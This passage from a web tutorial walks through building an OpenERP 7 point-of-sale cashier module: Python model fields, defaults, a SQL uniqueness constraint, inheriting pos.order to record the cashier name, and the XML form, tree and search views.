<code class="python_literal1">'</code><code class="python_literal1">pos_config_id</code><code class="python_literal1">'</code> : fields.<code class="python_function">many2one</code>(<code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">config</code><code class="python_literal1">'</code>, <code class="python_literal1">'</code><code class="python_literal1">Point</code><code class="python_literal1"> </code><code class="python_literal1">Of</code><code class="python_literal1"> </code><code class="python_literal1">Sale</code><code class="python_literal1">'</code>, required<code class="python_operator">=</code><code class="python_keyword3">True</code>),
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>: fields.<code class="python_function">char</code>(<code class="python_literal1">'</code><code class="python_literal1">Cashier</code><code class="python_literal1">'</code>, size<code class="python_operator">=</code><code class="python_digit">128</code>, required<code class="python_operator">=</code><code class="python_keyword3">True</code>),
<code class="python_literal1">'</code><code class="python_literal1">active</code><code class="python_literal1">'</code>: fields.<code class="python_function">boolean</code>(<code class="python_literal1">'</code><code class="python_literal1">Active</code><code class="python_literal1">'</code>, help<code class="python_operator">=</code><code class="python_literal1">"</code><code class="python_literal1">If</code><code class="python_literal1"> </code><code class="python_literal1">a</code><code class="python_literal1"> </code><code class="python_literal1">cashier</code><code class="python_literal1"> </code><code class="python_literal1">is</code><code class="python_literal1"> </code><code class="python_literal1">not</code><code class="python_literal1"> </code><code class="python_literal1">active</code><code class="python_literal1">,</code><code class="python_literal1"> </code><code class="python_literal1">it</code><code class="python_literal1"> </code><code class="python_literal1">will</code><code class="python_literal1"> </code><code class="python_literal1">not</code><code class="python_literal1"> </code><code class="python_literal1">be</code><code class="python_literal1"> </code><code class="python_literal1">displayed</code><code class="python_literal1"> </code><code class="python_literal1">in</code><code class="python_literal1"> </code><code class="python_literal1">POS</code><code class="python_literal1">"</code>),
}
</code></pre>
</div>
<b><span style="color: green;">pos_config_id</span> field</b><br />
Here we record the ID of the Point of Sale of the user. This field relationship with the <b>pos_config</b> table wich contains settings of each Point Of Sale.<br /><br /><b> c<span style="color: green;">ashier_name</span></b> <b>field</b><br />
It is in this field that will record the name of the cashier.<br /><br /><b><span style="color: green;">active</span></b> <b>field</b><br />
This field will allow us to enable or disable a cashier (when on leave due to illness or travel, for example).<br />
<div class="imgtext-info">
In OpenERP, the <b>active</b> field is a special field. When <b>active = False</b>, the record is automatically not visible.</div>
<b><span style="color: red;">_defaults :</span></b> these are the default values for records .<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3284">
_columns<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3284" onclick="selectionCode('contenuCoded0e3284');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3284"> _defaults <code class="python_operator">=</code> {
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code> : <code class="python_literal1">'</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">active</code><code class="python_literal1">'</code> : <code class="python_keyword3">True</code>,
<code class="python_literal1">'</code><code class="python_literal1">pos_config_id</code><code class="python_literal1">'</code>: <code class="python_keyword1">lambda</code> self,cr,uid,c: self.pool.<code class="python_function">get</code>(<code class="python_literal1">'</code><code class="python_literal1">res</code><code class="python_literal1">.</code><code class="python_literal1">users</code><code class="python_literal1">'</code>).<code class="python_function">browse</code>(cr, uid, uid, c).pos_config.<code class="python_keyword2">id</code>,
}
</code></pre>
</div>
By default, the <b>active</b> check box in the form will be checked and we automatically retrieve the ID of the Point of Sale of the user. That means, that when we create a new cashier, the Point of Sale of the user will be selected in (pos_config_id) drop-down list in the form. The <b>name</b> field (cashier_name) will be empty.<br /><br /><b><span style="color: red;">_sql_constraints :</span></b> that are record rules , which is in SQL is called <b>CONSTRAINT</b>. <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3360">
_sql_constraints<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3360" onclick="selectionCode('contenuCoded0e3360');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3360"> _sql_constraints <code class="python_operator">=</code> [
(<code class="python_literal1">'</code><code class="python_literal1">uniq_name</code><code class="python_literal1">'</code>, <code class="python_literal1">'</code><code class="python_literal1">unique</code><code class="python_literal1">(</code><code class="python_literal1">cashier_name</code><code class="python_literal1">,</code><code class="python_literal1"> </code><code class="python_literal1">pos_config_id</code><code class="python_literal1">)</code><code class="python_literal1">'</code>, <code class="python_literal1">"</code><code class="python_literal1">A</code><code class="python_literal1"> </code><code class="python_literal1">cashier</code><code class="python_literal1"> </code><code class="python_literal1">already</code><code class="python_literal1"> </code><code class="python_literal1">exists</code><code class="python_literal1"> </code><code class="python_literal1">with</code><code class="python_literal1"> </code><code class="python_literal1">this</code><code class="python_literal1"> </code><code class="python_literal1">name</code><code class="python_literal1"> </code><code class="python_literal1">in</code><code class="python_literal1"> </code><code class="python_literal1">this</code><code class="python_literal1"> </code><code class="python_literal1">Point</code><code class="python_literal1"> </code><code class="python_literal1">Of</code><code class="python_literal1"> </code><code class="python_literal1">sale</code><code class="python_literal1">.</code><code class="python_literal1"> </code><code class="python_literal1">Cashier</code><code class="python_literal1">'</code><code class="python_literal1">s</code><code class="python_literal1"> </code><code class="python_literal1">name</code><code class="python_literal1"> </code><code class="python_literal1">must</code><code class="python_literal1"> </code><code class="python_literal1">be</code><code class="python_literal1"> </code><code class="python_literal1">unique</code><code class="python_literal1">!</code><code class="python_literal1">"</code>),
]
</code></pre>
</div>
The rules are to be recorded as follows:<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3474">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3474" onclick="selectionCode('contenuCoded0e3474');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3474"> (<code class="python_literal1">'</code><code class="python_literal1">NAME</code><code class="python_literal1"> </code><code class="python_literal1">OF</code><code class="python_literal1"> </code><code class="python_literal1">THE</code><code class="python_literal1"> </code><code class="python_literal1">RULE</code><code class="python_literal1">'</code>, <code class="python_literal1">'</code><code class="python_literal1">RULE</code><code class="python_literal1">'</code>, <code class="python_literal1">"</code><code class="python_literal1">MESSAGE</code><code class="python_literal1"> </code><code class="python_literal1">IN</code><code class="python_literal1"> </code><code class="python_literal1">CASE</code><code class="python_literal1"> </code><code class="python_literal1">OF</code><code class="python_literal1"> </code><code class="python_literal1">CONSTRAINT</code><code class="python_literal1"> </code><code class="python_literal1">VIOLATION</code><code class="python_literal1">"</code>)
</code></pre>
</div>
The rule <b>unique(cashier_name, pos_config_id)</b> means that there can be only one cashier with the same name <span class="mot_souligne">in the same Point Of Sale</span>.<br /><br /><b>_sql_constraints</b> is an array. You can set multiple rules separated by a comma. <br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_constraint.jpg"><img alt="The error message is displayed in a message box" class="ImgCliquable" height="262px" src="./images/pos_cashier_constraint.jpg" width="550px" /></a><figcaption>The error message is displayed in a message box</figcaption></figure>
</div>
<h4 class="TitreSection3" id="LVII-B-3-b">
VII-B-3-b. Overload pos.order object of Point Of Sale<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
In addition to creating the <b>pos_cashier</b> object that allows us to manage the cashiers, we need to override the original <b>pos_order</b> object of the Point Of sale<br /><br />
This module is in the original directory of Point Of Sale. You find it in the file <b>point_of_sale.py</b> around line 479. <br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">openerp_path/addons/point_of_sale/point_of_sale.py</span> </b>
</div>
</blockquote>
We need to change the <b>create_from_ui ()</b> function and add a <b>cashier_name</b> field in the orders table called <b>pos_order</b>.<br />
For this, we will create a new object that inherits from the original parent class.<br />
<div class="imgtext-info">
This is why we stated that our module depended of <b>point_of_sale</b> module in the <b>__ openerp__.py</b> file.</div>
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3599">
inherit_pos_order_for_cashiers<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3599" onclick="selectionCode('contenuCoded0e3599');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3599"> <code class="python_keyword1">class</code> <code class="python_function">inherit_pos_order_for_cashiers</code>(osv.osv):
_name<code class="python_operator">=</code><code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">order</code><code class="python_literal1">'</code>
_inherit<code class="python_operator">=</code><code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">order</code><code class="python_literal1">'</code>
</code></pre>
</div>
For our module inherits<b> pos_order</b> module, we will give it the same name<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3640">
_name<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3640" onclick="selectionCode('contenuCoded0e3640');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3640"> _name<code class="python_operator">=</code><code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">order</code><code class="python_literal1">'</code>
</code></pre>
</div>
And we will add the <b>_inherit</b> statement specifying the name of the parent module<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3662">
_inherit<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3662" onclick="selectionCode('contenuCoded0e3662');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3662"> _inherit<code class="python_operator">=</code><code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">order</code><code class="python_literal1">'</code>
</code></pre>
</div>
<div class="imgtext-info">
About OpenERP objects inheritance I suggest you to read this page on the publisher's website :<br /><a class=" tooltip blue-tooltip lienArticle En" href="https://doc.openerp.com/v6.0/developer/2_5_Objects_Fields_Methods/object_inherit.html/" target="_blank">OpenERP Object InheritanceOpenERP Object Inheritance</a>. <br />
Attention, this is the documentation for the version 6.x, but the instructions are still valid for version 7.x of OpenERP. </div>
We will then just copy the entire original <b>create_from_ui()</b> function in our file.<br />
Once done, we will add a field to the orders.<br />
<div class="imgtext-info">
<b>A little explanation</b><br />
Point Of Sale works with JavaScript scripts.<br />
Orders are stored in the browser (<b>LocalStorage</b>).<br />
See : <a class=" tooltip blue-tooltip lienArticle Faq" href="http://solutions-entreprise.developpez.com/erp-pgi/faq/openerp/?page=UtilPos#PosRedStatus" target="_blank">Principe de fonctionnement du Point De VentePrincipe de fonctionnement du Point De Vente</a>.<br />
As long as you make an order, it is stored in the browser. When you confirm the order, the <b>create_from_ui()</b> function is called. It will send the order to the database of OpenERP.<br />
In fact, it will send all valid orders that are stored in the browser.<br />
This allows the Point Of Sale to work in <b>offline mode</b></div>
In the loop <b>for tmp_order in orders:</b>, we add the <b>cashier_name</b> field din <b>self.create()</b> function like below<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3735">
for tmp_order in orders loop:<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3735" onclick="selectionCode('contenuCoded0e3735');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3735"> <code class="python_keyword1">for</code> tmp_order <code class="python_keyword1">in</code> orders:
order <code class="python_operator">=</code> tmp_order[<code class="python_literal1">'</code><code class="python_literal1">data</code><code class="python_literal1">'</code>]
order_id <code class="python_operator">=</code> self.<code class="python_function">create</code>(cr, uid, {
<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">user_id</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">user_id</code><code class="python_literal1">'</code>] <code class="python_keyword1">or</code> <code class="python_keyword3">False</code>,
<code class="python_literal1">'</code><code class="python_literal1">session_id</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">pos_session_id</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">lines</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">lines</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">pos_reference</code><code class="python_literal1">'</code>:order[<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>], <code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1"><----------</code><code class="python_comment1"> </code><code class="python_comment1">COMMA</code><code class="python_comment1"> </code><code class="python_comment1"> </code><code class="python_comment1"> </code><code class="python_comment1"> </code><code class="python_comment1"> </code>
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>] <code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1"><----------</code><code class="python_comment1"> </code><code class="python_comment1">ADD</code><code class="python_comment1"> </code><code class="python_comment1">THE</code><code class="python_comment1"> </code><code class="python_comment1">FIELD</code><code class="python_comment1"> </code><code class="python_comment1">HERE</code>
}, context)
</code></pre>
</div>
<div class="imgtext-warning">
Do not forget to add a comma at the end of the previous line. </div>
The cashier's name will be recorded in <b>order[] </b>array.<br />
We can then send the cashier's name in the <b>cashier_name</b> field of the <b>pos_order </b>table<br /><br />
This is all we add to this function.<br /><br />
The last thing to do is to add the <b>cashier_name</b> field to the <b>pos_order </b>table.<br />
As in the previous module, simply add the field in the <b>_columns </b>statement<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3928">
_columns<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3928" onclick="selectionCode('contenuCoded0e3928');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3928"> _columns <code class="python_operator">=</code> {
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>: fields.<code class="python_function">char</code>(<code class="python_literal1">'</code><code class="python_literal1">Cashier</code><code class="python_literal1">'</code>, size<code class="python_operator">=</code><code class="python_digit">128</code>),
}
</code></pre>
</div>
We're almost there. It remains the call to the object for OpenERP to take it into account.. <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3959">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3959" onclick="selectionCode('contenuCoded0e3959');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3959"> <code class="python_function">inherit_pos_order_for_cashiers</code>()
</code></pre>
</div>
We achieved <b>pos_cashier</b> Python module.<br />
Save the file to the root of the module.</div>
</div>
<h3 class="TitreSection2" id="LVII-B-4">
VII-B-4. cashier_view.xml file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
This is the file of the views of <b>pos_cashier</b> module. More exact, there are the views of the cashiers. We will put the views of the orders in another file. <br /><br />
In this file we will create the tree_view, the form_view, menus, search_view, and the action of the « <b>Cashiers</b> » menu.<br /><br />
As before, I put the complete code, and we will see that quietly. <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3995">
cashier_view.xml<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3995" onclick="selectionCode('contenuCoded0e3995');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3995"> <code class="keyword3"><?</code><code class="keyword3">xml</code><code class="keyword3"> </code><code class="keyword3">version="1.0"</code><code class="keyword3"> </code><code class="keyword3">encoding="utf-8"?</code><code class="keyword3">></code>
<code class="markup"><</code><code class="markup">openerp</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">data</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_form</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>pos.cashier.form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">form</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Cashiers</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">version</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">7.0</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">group</code><code class="markup"> </code><code class="markup">col</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">4</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_config_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">widget</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">selection</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">eval</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ref('pos.config.name')</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">active</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">group</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">form</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_tree</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>pos.cashier.tree<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">tree</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Cashiers</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_config_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos.config.name</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">active</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">tree</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.ui.view</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_search</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>pos.cashier.search<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">arch</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">xml</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">search</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Point</code><code class="literal1"> </code><code class="literal1">of</code><code class="literal1"> </code><code class="literal1">Sale</code><code class="literal1"> </code><code class="literal1">Cashier</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier_name</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">filter</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">filter_see_all</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">All</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">domain</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">['|',</code><code class="literal1"> </code><code class="literal1">('active',</code><code class="literal1"> </code><code class="literal1">'=',True),</code><code class="literal1"> </code><code class="literal1">('active',</code><code class="literal1"> </code><code class="literal1">'=',False)]</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">filter</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">filter_see_active</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Active</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">domain</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">[('active',</code><code class="literal1"> </code><code class="literal1">'=',True)]</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">filter</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">filter_see_inactive</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">string</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">Inactive</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">domain</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">[('active',</code><code class="literal1"> </code><code class="literal1">'=',False)]</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">search</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">L'action</code><code class="comment1"> </code><code class="comment1">du</code><code class="comment1"> </code><code class="comment1">menu</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">record</code><code class="markup"> </code><code class="markup">model</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ir.actions.act_window</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">action_pos_cashier</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">name</code><code class="literal1">"</code><code class="markup">></code>Cashiers<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">type</code><code class="literal1">"</code><code class="markup">></code>ir.actions.act_window<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">res_model</code><code class="literal1">"</code><code class="markup">></code>pos.cashier<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_type</code><code class="literal1">"</code><code class="markup">></code>form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_mode</code><code class="literal1">"</code><code class="markup">></code>tree,form<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">view_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pos_cashier_tree</code><code class="literal1">"</code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">context</code><code class="literal1">"</code><code class="markup">></code>{"search_default_filter_see_all":1}<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">help</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">type</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">html</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">p</code><code class="markup"> </code><code class="markup">class</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">oe_view_nocontent_create</code><code class="literal1">"</code><code class="markup">></code>
Click here to create a cashier for the Point Of Sale.
<code class="markup"><</code><code class="markup">/</code><code class="markup">p</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Menu</code><code class="comment1"> </code><code class="comment1">gauche</code><code class="comment1"> </code><code class="comment1"> </code><code class="comment1">Vendeurs</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">menuitem</code><code class="markup"> </code>
